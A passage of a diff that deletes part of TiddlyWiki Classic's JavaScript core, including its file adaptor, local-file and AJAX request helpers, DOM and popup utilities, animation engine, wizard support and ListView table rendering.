- context.adaptor.store = new TiddlyWiki();
- if(!context.adaptor.store.importTiddlyWiki(jqXHR.responseText)) {
- context.statusText = config.messages.invalidFileError.format([context.host]);
- context.status = false;
- }
- context.complete(context,context.userParams);
-};
-
-FileAdaptor.loadTiddlyWikiError = function(context,jqXHR)
-{
- context.status = false;
- context.statusText = jqXHR.message;
- context.complete(context,context.userParams);
-};
-
-// Get the list of workspaces on a given server
-FileAdaptor.prototype.getWorkspaceList = function(context,userParams,callback)
-{
- context = this.setContext(context,userParams,callback);
- context.workspaces = [{title:"(default)"}];
- context.status = true;
- if(callback)
- window.setTimeout(function() {callback(context,userParams);},10);
- return true;
-};
-
-// Gets the list of tiddlers within a given workspace
-FileAdaptor.prototype.getTiddlerList = function(context,userParams,callback,filter)
-{
- context = this.setContext(context,userParams,callback);
- if(!context.filter)
- context.filter = filter;
- context.complete = FileAdaptor.getTiddlerListComplete;
- if(this.store) {
- return context.complete(context,context.userParams);
- }
- var options = {
- type:"GET",
- url:context.host,
- file:context.file, // for HTML5 FileReader
- processData:false,
- success:function(data,textStatus,jqXHR) {
- FileAdaptor.loadTiddlyWikiSuccess(context,jqXHR);
- },
- error:function(jqXHR,textStatus,errorThrown) {
- context.xhr = jqXHR;
- FileAdaptor.loadTiddlyWikiError(context,jqXHR);
- }
- };
- return ajaxReq(options);
-};
-
-FileAdaptor.getTiddlerListComplete = function(context,userParams)
-{
- if(context.status) {
- if(context.filter) {
- context.tiddlers = context.adaptor.store.filterTiddlers(context.filter);
- } else {
- context.tiddlers = [];
- context.adaptor.store.forEachTiddler(function(title,tiddler) {context.tiddlers.push(tiddler);});
- }
- var i;
- for(i=0; i<context.tiddlers.length; i++) {
- context.tiddlers[i].fields['server.type'] = FileAdaptor.serverType;
- context.tiddlers[i].fields['server.host'] = AdaptorBase.minHostName(context.host);
- context.tiddlers[i].fields['server.page.revision'] = context.tiddlers[i].modified.convertToYYYYMMDDHHMM();
- }
- context.status = true;
- }
- if(context.callback) {
- window.setTimeout(function() {context.callback(context,userParams);},10);
- }
- return true;
-};
-
-FileAdaptor.prototype.generateTiddlerInfo = function(tiddler)
-{
- var info = {};
- info.uri = tiddler.fields['server.host'] + "#" + tiddler.title;
- return info;
-};
-
-// Retrieve a tiddler from a given workspace on a given server
-FileAdaptor.prototype.getTiddler = function(title,context,userParams,callback)
-{
- context = this.setContext(context,userParams,callback);
- context.title = title;
- context.complete = FileAdaptor.getTiddlerComplete;
- if(context.adaptor.store) {
- return context.complete(context,context.userParams);
- }
- var options = {
- type:"GET",
- url:context.host,
- processData:false,
- success:function(data,textStatus,jqXHR) {
- FileAdaptor.loadTiddlyWikiSuccess(context,jqXHR);
- },
- error:function(jqXHR,textStatus,errorThrown) {
- FileAdaptor.loadTiddlyWikiError(context,jqXHR);
- }
- };
- return ajaxReq(options);
-};
-
-FileAdaptor.getTiddlerComplete = function(context,userParams)
-{
- var t = context.adaptor.store.fetchTiddler(context.title);
- if(t) {
- t.fields['server.type'] = FileAdaptor.serverType;
- t.fields['server.host'] = AdaptorBase.minHostName(context.host);
- t.fields['server.page.revision'] = t.modified.convertToYYYYMMDDHHMM();
- context.tiddler = t;
- context.status = true;
- } else { //# tiddler does not exist in document
- context.status = false;
- }
- if(context.allowSynchronous) {
- context.isSynchronous = true;
- context.callback(context,userParams);
- } else {
- window.setTimeout(function() {context.callback(context,userParams);},10);
- }
- return true;
-};
-
-FileAdaptor.prototype.close = function()
-{
- this.store = null;
-};
-
-config.adaptors[FileAdaptor.serverType] = FileAdaptor;
-
-config.defaultAdaptor = FileAdaptor.serverType;
-
-//--
-//-- HTTP request code
-//--
-
-function ajaxReq(args)
-{
- if (args.file || args.url.startsWith("file")) // LOCAL FILE
- return localAjax(args);
- return jQuery.ajax(args);
-}
-
-function localAjax(args)
-{
- var success=function(data)
- { args.success(data,"success",{ responseText:data }); }
- var failure=function(who)
- { args.error({ message:who+": cannot read local file" },"error",0); }
-
- if (args.file) try { // HTML5 FileReader (Chrome, FF20+, Safari, etc.)
- var reader=new FileReader();
- reader.onload=function(e) { success(e.target.result); }
- reader.onerror=function(e) { failure("FileReader"); }
- reader.readAsText(args.file);
- return true;
- } catch (ex) { ; }
-
- try { // local file I/O (IE, FF with TiddlyFox, Chrome/Safari with TiddlySaver, etc.)
- var data=loadFile(getLocalPath(args.url));
- if (data) success(data);
- else failure("loadFile");
- return true;
- } catch (ex) { ; }
-
- return true;
-}
-
-function httpReq(type,url,callback,params,headers,data,contentType,username,password,allowCache)
-{
- var httpSuccess = function(xhr) {
- try {
- // IE error sometimes returns 1223 when it should be 204 so treat it as success, see #1450
- return (!xhr.status && location.protocol === "file:") ||
- (xhr.status >= 200 && xhr.status < 300) ||
- xhr.status === 304 || xhr.status === 1223;
- } catch(e) {}
- return false;
- };
-
- var options = {
- type:type,
- url:url,
- processData:false,
- data:data,
- cache:!!allowCache,
- beforeSend: function(xhr) {
- var i;
- for(i in headers)
- xhr.setRequestHeader(i,headers[i]);
- }
- };
-
- if(callback) {
- options.complete = function(xhr,textStatus) {
- if(httpSuccess(xhr))
- callback(true,params,xhr.responseText,url,xhr);
- else
- callback(false,params,null,url,xhr);
- };
- }
- if(contentType)
- options.contentType = contentType;
- if(username)
- options.username = username;
- if(password)
- options.password = password;
- try {
- if(window.Components && window.netscape && window.netscape.security && document.location.protocol.indexOf("http") == -1)
- window.netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
- } catch (ex) {
- }
- return jQuery.ajax(options);
-}
-//--
-//-- TiddlyWiki-specific utility functions
-//--
-
-// Returns TiddlyWiki version string
-function formatVersion(v)
-{
- v = v || version;
- return v.major + "." + v.minor + "." + v.revision +
- (v.alpha ? " (alpha " + v.alpha + ")" : "") +
- (v.beta ? " (beta " + v.beta + ")" : "");
-}
-
-function compareVersions(v1,v2)
-{
- var x1,x2,i,a = ["major","minor","revision"];
- for(i = 0; i<a.length; i++) {
- x1 = v1[a[i]] || 0;
- x2 = v2[a[i]] || 0;
- if(x1<x2)
- return 1;
- if(x1>x2)
- return -1;
- }
- x1 = v1.beta || 9999;
- x2 = v2.beta || 9999;
- if(x1<x2)
- return 1;
- return x1 > x2 ? -1 : 0;
-}
-
-function merge(dst,src,preserveExisting)
-{
- var i;
- for(i in src) {
- if(!preserveExisting || dst[i] === undefined)
- dst[i] = src[i];
- }
- return dst;
-}
-
-// Resolve the target object of an event
-function resolveTarget(e)
-{
- var obj;
- if(e.target)
- obj = e.target;
- else if(e.srcElement)
- obj = e.srcElement;
- if(obj.nodeType == 3) // defeat Safari bug
- obj = obj.parentNode;
- return obj;
-}
-
-// Returns a string containing the description of an exception, optionally prepended by a message
-function exceptionText(e,message)
-{
- var s = e.description || e.toString();
- return message ? "%0:\n%1".format([message,s]) : s;
-}
-
-// Displays an alert of an exception description with optional message
-function showException(e,message)
-{
- alert(exceptionText(e,message));
-}
-
-function alertAndThrow(m)
-{
- alert(m);
- throw(m);
-}
-
-function glyph(name)
-{
- var g = config.glyphs;
- var b = g.currBrowser;
- if(b == null) {
- b = 0;
- while(b < g.browsers.length-1 && !g.browsers[b]())
- b++;
- g.currBrowser = b;
- }
- if(!g.codes[name])
- return "";
- return g.codes[name][b];
-}
-
-function createTiddlyText(parent,text)
-{
- return parent.appendChild(document.createTextNode(text));
-}
-
-function createTiddlyCheckbox(parent,caption,checked,onChange)
-{
- var cb = document.createElement("input");
- cb.setAttribute("type","checkbox");
- cb.onclick = onChange;
- parent.appendChild(cb);
- cb.checked = checked;
- cb.className = "chkOptionInput";
- if(caption)
- wikify(caption,parent);
- return cb;
-}
-
-function createTiddlyElement(parent,element,id,className,text,attribs)
-{
- var n,e = document.createElement(element);
- if(className != null)
- e.className = className;
- if(id != null)
- e.setAttribute("id",id);
- if(text != null)
- e.appendChild(document.createTextNode(text));
- if(attribs) {
- for(n in attribs) {
- e.setAttribute(n,attribs[n]);
- }
- }
- if(parent != null)
- parent.appendChild(e);
- return e;
-}
-
-function createTiddlyButton(parent,text,tooltip,action,className,id,accessKey,attribs)
-{
- var i,btn = document.createElement("a");
- btn.setAttribute("href","javascript:;");
- if(action) {
- btn.onclick = action;
- }
- if(tooltip)
- btn.setAttribute("title",tooltip);
- if(text)
- btn.appendChild(document.createTextNode(text));
- btn.className = className || "button";
- if(id)
- btn.id = id;
- if(attribs) {
- for(i in attribs) {
- btn.setAttribute(i,attribs[i]);
- }
- }
- if(parent)
- parent.appendChild(btn);
- if(accessKey)
- btn.setAttribute("accessKey",accessKey);
- return btn;
-}
-
-function createExternalLink(place,url,label)
-{
- var link = document.createElement("a");
- link.className = "externalLink";
- link.href = url;
- var f = config.messages.externalLinkTooltip;
- link.title = f ? f.format([url]) : url;
- if(config.options.chkOpenInNewWindow)
- link.target = "_blank";
- place.appendChild(link);
- if(label)
- createTiddlyText(link, label);
- return link;
-}
-
-function getTiddlyLinkInfo(title,currClasses)
-{
- var classes = currClasses ? currClasses.split(" ") : [];
- classes.pushUnique("tiddlyLink");
- var tiddler = store.fetchTiddler(title);
- var subTitle;
- if(tiddler) {
- subTitle = tiddler.getSubtitle();
- classes.pushUnique("tiddlyLinkExisting");
- classes.remove("tiddlyLinkNonExisting");
- classes.remove("shadow");
- } else {
- var f;
- classes.remove("tiddlyLinkExisting");
- classes.pushUnique("tiddlyLinkNonExisting");
- if(store.isShadowTiddler(title)) {
- f = config.messages.shadowedTiddlerToolTip;
- classes.pushUnique("shadow");
- } else {
- f = config.messages.undefinedTiddlerToolTip;
- classes.remove("shadow");
- }
- subTitle = f ? f.format([title]) : "";
- }
- if(typeof config.annotations[title]=="string")
- subTitle = config.annotations[title];
- return {classes: classes.join(" "),subTitle: subTitle};
-}
-
-// Event handler for clicking on a tiddly link
-function onClickTiddlerLink(ev)
-{
- var e = ev || window.event;
- var target = resolveTarget(e);
- var link = target;
- var title = null;
- var fields = null;
- var noToggle = null;
- do {
- title = link.getAttribute("tiddlyLink");
- fields = link.getAttribute("tiddlyFields");
- noToggle = link.getAttribute("noToggle");
- link = link.parentNode;
- } while(title == null && link != null);
- if(!store.isShadowTiddler(title)) {
- var f = fields ? fields.decodeHashMap() : {};
- fields = String.encodeHashMap(merge(f,config.defaultCustomFields,true));
- }
- if(title) {
- var toggling = e.metaKey || e.ctrlKey;
- if(config.options.chkToggleLinks)
- toggling = !toggling;
- if(noToggle)
- toggling = false;
- if(store.getTiddler(title))
- fields = null;
- story.displayTiddler(target,title,null,true,null,fields,toggling);
- }
- clearMessage();
- return false;
-}
-
-function createTiddlyLink(place,title,includeText,className,isStatic,linkedFromTiddler,noToggle)
-{
- var title = jQuery.trim(title);
- var text = includeText ? title : null;
- var i = getTiddlyLinkInfo(title,className);
- var btn = isStatic ? createExternalLink(place,store.getTiddlerText("SiteUrl",null) + "#" + title) : createTiddlyButton(place,text,i.subTitle,onClickTiddlerLink,i.classes);
- if(isStatic)
- btn.className += ' ' + className;
- btn.setAttribute("refresh","link");
- btn.setAttribute("tiddlyLink",title);
- if(noToggle)
- btn.setAttribute("noToggle","true");
- if(linkedFromTiddler) {
- var fields = linkedFromTiddler.getInheritedFields();
- if(fields)
- btn.setAttribute("tiddlyFields",fields);
- }
- return btn;
-}
-
-function refreshTiddlyLink(e,title)
-{
- var i = getTiddlyLinkInfo(title,e.className);
- e.className = i.classes;
- e.title = i.subTitle;
-}
-
-function createTiddlyDropDown(place,onchange,options,defaultValue)
-{
- var sel = createTiddlyElement(place,"select");
- sel.onchange = onchange;
- var t;
- for(t=0; t<options.length; t++) {
- var e = createTiddlyElement(sel,"option",null,null,options[t].caption);
- e.value = options[t].name;
- if(options[t].name == defaultValue)
- e.selected = true;
- }
- return sel;
-}
-
-//--
-//-- TiddlyWiki-specific popup utility functions
-//--
-
-// Event handler for 'open all' on a tiddler popup
-function onClickTagOpenAll(ev)
-{
- var tiddlers = store.getTaggedTiddlers(this.getAttribute("tag"));
- var sortby = this.getAttribute("sortby");
- if(sortby&&sortby.length) {
- store.sortTiddlers(tiddlers,sortby);
- }
- story.displayTiddlers(this,tiddlers);
- return false;
-}
-
-// Event handler for clicking on a tiddler tag
-function onClickTag(ev)
-{
- var e = ev || window.event;
- var popup = Popup.create(this);
- jQuery(popup).addClass("taggedTiddlerList");
- var tag = this.getAttribute("tag");
- var title = this.getAttribute("tiddler");
- if(popup && tag) {
- var tagged = tag.indexOf("[")==-1 ? store.getTaggedTiddlers(tag) : store.filterTiddlers(tag);
- var sortby = this.getAttribute("sortby");
- if(sortby&&sortby.length) {
- store.sortTiddlers(tagged,sortby);
- }
- var titles = [];
- var r;
- for(r=0;r<tagged.length;r++) {
- if(tagged[r].title != title)
- titles.push(tagged[r].title);
- }
- var lingo = config.views.wikified.tag;
- if(titles.length > 0) {
- var openAll = createTiddlyButton(createTiddlyElement(popup,"li"),lingo.openAllText.format([tag]),lingo.openAllTooltip,onClickTagOpenAll);
- openAll.setAttribute("tag",tag);
- openAll.setAttribute("sortby",sortby);
- createTiddlyElement(createTiddlyElement(popup,"li",null,"listBreak"),"div");
- for(r=0; r<titles.length; r++) {
- createTiddlyLink(createTiddlyElement(popup,"li"),titles[r],true);
- }
- } else {
- createTiddlyElement(popup,"li",null,"disabled",lingo.popupNone.format([tag]));
- }
- createTiddlyElement(createTiddlyElement(popup,"li",null,"listBreak"),"div");
- var h = createTiddlyLink(createTiddlyElement(popup,"li"),tag,false);
- createTiddlyText(h,lingo.openTag.format([tag]));
- }
- Popup.show();
- e.cancelBubble = true;
- if(e.stopPropagation) e.stopPropagation();
- return false;
-}
-
-// Create a button for a tag with a popup listing all the tiddlers that it tags
-function createTagButton(place,tag,excludeTiddler,title,tooltip)
-{
- var btn = createTiddlyButton(place,title||tag,(tooltip||config.views.wikified.tag.tooltip).format([tag]),onClickTag);
- btn.setAttribute("tag",tag);
- if(excludeTiddler)
- btn.setAttribute("tiddler",excludeTiddler);
- return btn;
-}
-
-function onClickTiddlyPopup(ev)
-{
- var e = ev || window.event;
- var tiddler = this.tiddler;
- if(tiddler.text) {
- var popup = Popup.create(this,"div","popupTiddler");
- wikify(tiddler.text,popup,null,tiddler);
- Popup.show();
- }
- if(e) e.cancelBubble = true;
- if(e && e.stopPropagation) e.stopPropagation();
- return false;
-}
-
-function createTiddlyPopup(place,caption,tooltip,tiddler)
-{
- if(tiddler.text) {
- createTiddlyLink(place,caption,true);
- var btn = createTiddlyButton(place,glyph("downArrow"),tooltip,onClickTiddlyPopup,"tiddlerPopupButton");
- btn.tiddler = tiddler;
- } else {
- createTiddlyText(place,caption);
- }
-}
-
-function onClickError(ev)
-{
- var e = ev || window.event;
- var popup = Popup.create(this);
- var lines = this.getAttribute("errorText").split("\n");
- var t;
- for(t=0; t<lines.length; t++)
- createTiddlyElement(popup,"li",null,null,lines[t]);
- Popup.show();
- e.cancelBubble = true;
- if(e.stopPropagation) e.stopPropagation();
- return false;
-}
-
-function createTiddlyError(place,title,text)
-{
- var btn = createTiddlyButton(place,title,null,onClickError,"errorButton");
- if(text) btn.setAttribute("errorText",text);
-}
-//-
-//- Animation engine
-//-
-
-function Animator()
-{
- this.running = 0; // Incremented at start of each animation, decremented afterwards. If zero, the interval timer is disabled
- this.timerID = 0; // ID of the timer used for animating
- this.animations = []; // List of animations in progress
- return this;
-}
-
-// Start animation engine
-Animator.prototype.startAnimating = function() //# Variable number of arguments
-{
- var t;
- for(t=0; t<arguments.length; t++)
- this.animations.push(arguments[t]);
- if(this.running == 0) {
- var me = this;
- this.timerID = window.setInterval(function() {me.doAnimate(me);},10);
- }
- this.running += arguments.length;
-};
-
-// Perform an animation engine tick, calling each of the known animation modules
-Animator.prototype.doAnimate = function(me)
-{
- var a = 0;
- while(a < me.animations.length) {
- var animation = me.animations[a];
- if(animation.tick()) {
- a++;
- } else {
- me.animations.splice(a,1);
- if(--me.running == 0)
- window.clearInterval(me.timerID);
- }
- }
-};
-
-Animator.slowInSlowOut = function(progress)
-{
- return(1-((Math.cos(progress * Math.PI)+1)/2));
-};
-
-//--
-//-- Morpher animation
-//--
-
-// Animate a set of properties of an element
-function Morpher(element,duration,properties,callback)
-{
- this.element = element;
- this.duration = duration;
- this.properties = properties;
- this.startTime = new Date();
- this.endTime = Number(this.startTime) + duration;
- this.callback = callback;
- this.tick();
- return this;
-}
-
-Morpher.prototype.assignStyle = function(element,style,value)
-{
- switch(style) {
- case "-tw-vertScroll":
- window.scrollTo(findScrollX(),value);
- break;
- case "-tw-horizScroll":
- window.scrollTo(value,findScrollY());
- break;
- default:
- element.style[style] = value;
- break;
- }
-};
-
-Morpher.prototype.stop = function()
-{
- var t;
- for(t=0; t<this.properties.length; t++) {
- var p = this.properties[t];
- if(p.atEnd !== undefined) {
- this.assignStyle(this.element,p.style,p.atEnd);
- }
- }
- if(this.callback)
- this.callback(this.element,this.properties);
-};
-
-Morpher.prototype.tick = function()
-{
- var currTime = Number(new Date());
- var t,progress = Animator.slowInSlowOut(Math.min(1,(currTime-this.startTime)/this.duration));
- for(t=0; t<this.properties.length; t++) {
- var p = this.properties[t];
- if(p.start !== undefined && p.end !== undefined) {
- var template = p.template || "%0";
- switch(p.format) {
- case undefined:
- case "style":
- var v = p.start + (p.end-p.start) * progress;
- this.assignStyle(this.element,p.style,template.format([v]));
- break;
- case "color":
- break;
- }
- }
- }
- if(currTime >= this.endTime) {
- this.stop();
- return false;
- }
- return true;
-};
-
-//--
-//-- Zoomer animation
-//--
-
-function Zoomer(text,startElement,targetElement,unused)
-{
- var e = createTiddlyElement(document.body,"div",null,"zoomer");
- createTiddlyElement(e,"div",null,null,text);
- var winWidth = findWindowWidth();
- var winHeight = findWindowHeight();
- var p = [
- {style: 'left', start: findPosX(startElement), end: findPosX(targetElement), template: '%0px'},
- {style: 'top', start: findPosY(startElement), end: findPosY(targetElement), template: '%0px'},
- {style: 'width', start: Math.min(startElement.scrollWidth,winWidth), end: Math.min(targetElement.scrollWidth,winWidth), template: '%0px', atEnd: 'auto'},
- {style: 'height', start: Math.min(startElement.scrollHeight,winHeight), end: Math.min(targetElement.scrollHeight,winHeight), template: '%0px', atEnd: 'auto'},
- {style: 'fontSize', start: 8, end: 24, template: '%0pt'}
- ];
- var c = function(element,properties) {jQuery(element).remove();};
- return new Morpher(e,config.animDuration,p,c);
-}
-
-//--
-//-- Scroller animation
-//--
-
-function Scroller(targetElement)
-{
- var p = [{style: '-tw-vertScroll', start: findScrollY(), end: ensureVisible(targetElement)}];
- return new Morpher(targetElement,config.animDuration,p);
-}
-
-//--
-//-- Slider animation
-//--
-
-// deleteMode - "none", "all" [delete target element and it's children], [only] "children" [but not the target element]
-function Slider(element,opening,unused,deleteMode)
-{
- element.style.overflow = 'hidden';
- if(opening)
- element.style.height = '0px'; // Resolves a Firefox flashing bug
- element.style.display = 'block';
- var height = element.scrollHeight;
- var p = [];
- var c = null;
- if(opening) {
- p.push({style: 'height', start: 0, end: height, template: '%0px', atEnd: 'auto'});
- p.push({style: 'opacity', start: 0, end: 1, template: '%0'});
- p.push({style: 'filter', start: 0, end: 100, template: 'alpha(opacity:%0)'});
- } else {
- p.push({style: 'height', start: height, end: 0, template: '%0px'});
- p.push({style: 'display', atEnd: 'none'});
- p.push({style: 'opacity', start: 1, end: 0, template: '%0'});
- p.push({style: 'filter', start: 100, end: 0, template: 'alpha(opacity:%0)'});
- switch(deleteMode) {
- case "all":
- c = function(element,properties) {jQuery(element).remove();};
- break;
- case "children":
- c = function(element,properties) {jQuery(element).empty();};
- break;
- }
- }
- return new Morpher(element,config.animDuration,p,c);
-}
-
-//--
-//-- Popup menu
-//--
-
-var Popup = {
- stack: [] // Array of objects with members root: and popup:
- };
-
-Popup.create = function(root,elem,className)
-{
- var stackPosition = this.find(root,"popup");
- Popup.remove(stackPosition+1);
- var popup = createTiddlyElement(document.body,elem || "ol","popup",className || "popup");
- popup.stackPosition = stackPosition;
- Popup.stack.push({root: root, popup: popup});
- return popup;
-};
-
-Popup.onDocumentClick = function(ev)
-{
- var e = ev || window.event;
- if(e.eventPhase == undefined)
- Popup.remove();
- else if(e.eventPhase == Event.BUBBLING_PHASE || e.eventPhase == Event.AT_TARGET)
- Popup.remove();
- return true;
-};
-
-Popup.show = function(valign,halign,offset)
-{
- var curr = Popup.stack[Popup.stack.length-1];
- this.place(curr.root,curr.popup,valign,halign,offset);
- jQuery(curr.root).addClass("highlight");
- if(config.options.chkAnimate && anim && typeof Scroller == "function")
- anim.startAnimating(new Scroller(curr.popup));
- else
- window.scrollTo(0,ensureVisible(curr.popup));
-};
-
-Popup.place = function(root,popup,valign,halign,offset)
-{
- if(!offset)
- offset = {x:0,y:0};
- if(popup.stackPosition >= 0 && !valign && !halign) {
- offset.x = offset.x + root.offsetWidth;
- } else {
- offset.x = (halign == "right") ? offset.x + root.offsetWidth : offset.x;
- offset.y = (valign == "top") ? offset.y : offset.y + root.offsetHeight;
- }
- var rootLeft = findPosX(root);
- var rootTop = findPosY(root);
- var popupLeft = rootLeft + offset.x;
- var popupTop = rootTop + offset.y;
- var winWidth = findWindowWidth();
- if(popup.offsetWidth > winWidth*0.75)
- popup.style.width = winWidth*0.75 + "px";
- var popupWidth = popup.offsetWidth;
- var scrollWidth = winWidth - document.body.offsetWidth;
- if(popupLeft + popupWidth > winWidth - scrollWidth - 1) {
- if(halign == "right")
- popupLeft = popupLeft - root.offsetWidth - popupWidth;
- else
- popupLeft = winWidth - popupWidth - scrollWidth - 1;
- }
- popup.style.left = popupLeft + "px";
- popup.style.top = popupTop + "px";
- popup.style.display = "block";
-};
-
-Popup.find = function(e)
-{
- var t,pos = -1;
- for(t=this.stack.length-1; t>=0; t--) {
- if(isDescendant(e,this.stack[t].popup))
- pos = t;
- }
- return pos;
-};
-
-Popup.remove = function(pos)
-{
- if(!pos) pos = 0;
- if(Popup.stack.length > pos) {
- Popup.removeFrom(pos);
- }
-};
-
-Popup.removeFrom = function(from)
-{
- var t;
- for(t=Popup.stack.length-1; t>=from; t--) {
- var p = Popup.stack[t];
- jQuery(p.root).removeClass("highlight");
- jQuery(p.popup).remove();
- }
- Popup.stack = Popup.stack.slice(0,from);
-};
-
-//--
-//-- Wizard support
-//--
-
-function Wizard(elem)
-{
- if(elem) {
- this.formElem = findRelated(elem,"wizard","className");
- this.bodyElem = findRelated(this.formElem.firstChild,"wizardBody","className","nextSibling");
- this.footElem = findRelated(this.formElem.firstChild,"wizardFooter","className","nextSibling");
- } else {
- this.formElem = null;
- this.bodyElem = null;
- this.footElem = null;
- }
-}
-
-Wizard.prototype.setValue = function(name,value)
-{
- jQuery(this.formElem).data(name, value);
-};
-
-Wizard.prototype.getValue = function(name)
-{
- return this.formElem ? jQuery(this.formElem).data(name) : null;
-};
-
-Wizard.prototype.createWizard = function(place,title)
-{
- this.formElem = createTiddlyElement(place,"form",null,"wizard");
- createTiddlyElement(this.formElem,"h1",null,null,title);
- this.bodyElem = createTiddlyElement(this.formElem,"div",null,"wizardBody");
- this.footElem = createTiddlyElement(this.formElem,"div",null,"wizardFooter");
- return this.formElem;
-};
-
-Wizard.prototype.clear = function()
-{
- jQuery(this.bodyElem).empty();
-};
-
-Wizard.prototype.setButtons = function(buttonInfo,status)
-{
- jQuery(this.footElem).empty();
- var t;
- for(t=0; t<buttonInfo.length; t++) {
- createTiddlyButton(this.footElem,buttonInfo[t].caption,buttonInfo[t].tooltip,buttonInfo[t].onClick);
- insertSpacer(this.footElem);
- }
- if(typeof status == "string") {
- createTiddlyElement(this.footElem,"span",null,"status",status);
- }
-};
-
-Wizard.prototype.addStep = function(stepTitle,html)
-{
- jQuery(this.bodyElem).empty();
- var w = createTiddlyElement(this.bodyElem,"div");
- createTiddlyElement(w,"h2",null,null,stepTitle);
- var step = createTiddlyElement(w,"div",null,"wizardStep");
- step.innerHTML = html;
- applyHtmlMacros(step,tiddler);
-};
-
-Wizard.prototype.getElement = function(name)
-{
- return this.formElem.elements[name];
-};
-
-//--
-//-- ListView gadget
-//--
-
-var ListView = {};
-
-// Create a listview
-ListView.create = function(place,listObject,listTemplate,callback,className)
-{
- var table = createTiddlyElement(place,"table",null,className || "listView twtable");
- var thead = createTiddlyElement(table,"thead");
- var t,r = createTiddlyElement(thead,"tr");
- for(t=0; t<listTemplate.columns.length; t++) {
- var columnTemplate = listTemplate.columns[t];
- var c = createTiddlyElement(r,"th");
- var colType = ListView.columnTypes[columnTemplate.type];
- if(colType && colType.createHeader) {
- colType.createHeader(c,columnTemplate,t);
- if(columnTemplate.className)
- jQuery(c).addClass(columnTemplate.className);
- }
- }
- var rc,tbody = createTiddlyElement(table,"tbody");
- for(rc=0; rc<listObject.length; rc++) {
- var rowObject = listObject[rc];
- r = createTiddlyElement(tbody,"tr");
- for(c=0; c<listTemplate.rowClasses.length; c++) {
- if(rowObject[listTemplate.rowClasses[c].field])
- jQuery(r).addClass(listTemplate.rowClasses[c].className);
- }
- rowObject.rowElement = r;
- rowObject.colElements = {};
- var cc;
- for(cc=0; cc<listTemplate.columns.length; cc++) {
- c = createTiddlyElement(r,"td");
- columnTemplate = listTemplate.columns[cc];
- var field = columnTemplate.field;
- colType = ListView.columnTypes[columnTemplate.type];
- if(colType && colType.createItem) {
- colType.createItem(c,rowObject,field,columnTemplate,cc,rc);
- if(columnTemplate.className)
- jQuery(c).addClass(columnTemplate.className);
- }
- rowObject.colElements[field] = c;
- }
- }
- if(callback && listTemplate.actions)
- createTiddlyDropDown(place,ListView.getCommandHandler(callback),listTemplate.actions);
- if(callback && listTemplate.buttons) {
- for(t=0; t<listTemplate.buttons.length; t++) {
- var a = listTemplate.buttons[t];
- if(a && a.name != "")
- createTiddlyButton(place,a.caption,null,ListView.getCommandHandler(callback,a.name,a.allowEmptySelection));
- }
- }
- return table;
-};
-
-ListView.getCommandHandler = function(callback,name,allowEmptySelection)
-{
- return function(e) {
- var view = findRelated(this,"TABLE",null,"previousSibling");
- var tiddlers = [];
- ListView.forEachSelector(view,function(e,rowName) {
- if(e.checked)
- tiddlers.push(rowName);
- });
- if(tiddlers.length == 0 && !allowEmptySelection) {
- alert(config.messages.nothingSelected);
- } else {
- if(this.nodeName.toLowerCase() == "select") {
- callback(view,this.value,tiddlers);
- this.selectedIndex = 0;
- } else {
- callback(view,name,tiddlers);
- }
- }
- };
-};
-
-// Invoke a callback for each selector checkbox in the listview
-ListView.forEachSelector = function(view,callback)
-{
- var checkboxes = view.getElementsByTagName("input");
- var t,hadOne = false;
- for(t=0; t<checkboxes.length; t++) {
- var cb = checkboxes[t];
- if(cb.getAttribute("type") == "checkbox") {
- var rn = cb.getAttribute("rowName");
- if(rn) {
- callback(cb,rn);
- hadOne = true;
- }
- }
- }
- return hadOne;
-};
-
-ListView.getSelectedRows = function(view)
-{
- var rowNames = [];
- ListView.forEachSelector(view,function(e,rowName) {
- if(e.checked)
- rowNames.push(rowName);
- });
- return rowNames;
-};
-
-ListView.columnTypes = {};
-
-ListView.columnTypes.String = {
- createHeader: function(place,columnTemplate,col)
- {
- createTiddlyText(place,columnTemplate.title);
- },
- createItem: function(place,listObject,field,columnTemplate,col,row)
- {
- var v = listObject[field];
- if(v != undefined)
- createTiddlyText(place,v);
- }
-};
-
-ListView.columnTypes.WikiText = {
- createHeader: ListView.columnTypes.String.createHeader,
- createItem: function(place,listObject,field,columnTemplate,col,row)
- {
- var v = listObject[field];
- if(v != undefined)
- wikify(v,place,null,null);
- }
-};
-
-ListView.columnTypes.Tiddler = {
- createHeader: ListView.columnTypes.String.createHeader,
- createItem: function(place,listObject,field,columnTemplate,col,row)
- {
- var v = listObject[field];
- if(v != undefined && v.title)
- createTiddlyPopup(place,v.title,config.messages.listView.tiddlerTooltip,v);
- }
-};
-
-ListView.columnTypes.Size = {
- createHeader: ListView.columnTypes.String.createHeader,
- createItem: function(place,listObject,field,columnTemplate,col,row)
- {
- var msg = config.messages.sizeTemplates;
- var v = listObject[field];
- if(v != undefined) {
- var t = 0;
- while(t<msg.length-1 && v<msg[t].unit)
- t++;
- createTiddlyText(place,msg[t].template.format([Math.round(v/msg[t].unit)]));
- }
- }
-};
-
-ListView.columnTypes.Link = {
- createHeader: ListView.columnTypes.String.createHeader,
- createItem: function(place,listObject,field,columnTemplate,col,row)
- {
- var v = listObject[field];
- var c = columnTemplate.text;
- if(v != undefined)
- createExternalLink(place,v,c || v);
- }
-};
-
-ListView.columnTypes.Date = {
- createHeader: ListView.columnTypes.String.createHeader,
- createItem: function(place,listObject,field,columnTemplate,col,row)
- {
- var v = listObject[field];
- if(v != undefined)
- createTiddlyText(place,v.formatString(columnTemplate.dateFormat));
- }
-};
-
-ListView.columnTypes.StringList = {
- createHeader: ListView.columnTypes.String.createHeader,
- createItem: function(place,listObject,field,columnTemplate,col,row)
- {
- var v = listObject[field];
- if(v != undefined) {
- var t;
- for(t=0; t<v.length; t++) {
- createTiddlyText(place,v[t]);
- createTiddlyElement(place,"br");
- }
- }
- }
-};
-
-ListView.columnTypes.Selector = {
- createHeader: function(place,columnTemplate,col)
- {
- createTiddlyCheckbox(place,null,false,this.onHeaderChange);
- },
- createItem: function(place,listObject,field,columnTemplate,col,row)
- {
- var e = createTiddlyCheckbox(place,null,listObject[field],null);
- e.setAttribute("rowName",listObject[columnTemplate.rowName]);
- },
- onHeaderChange: function(e)
- {
- var state = this.checked;
- var view = findRelated(this,"TABLE");
- if(!view)
- return;
- ListView.forEachSelector(view,function(e,rowName) {
- e.checked = state;
- });
- }
-};
-
-ListView.columnTypes.Tags = {
- createHeader: ListView.columnTypes.String.createHeader,
- createItem: function(place,listObject,field,columnTemplate,col,row)
- {
- var tags = listObject[field];
- createTiddlyText(place,String.encodeTiddlyLinkList(tags));
- }
-};
-
-ListView.columnTypes.Boolean = {
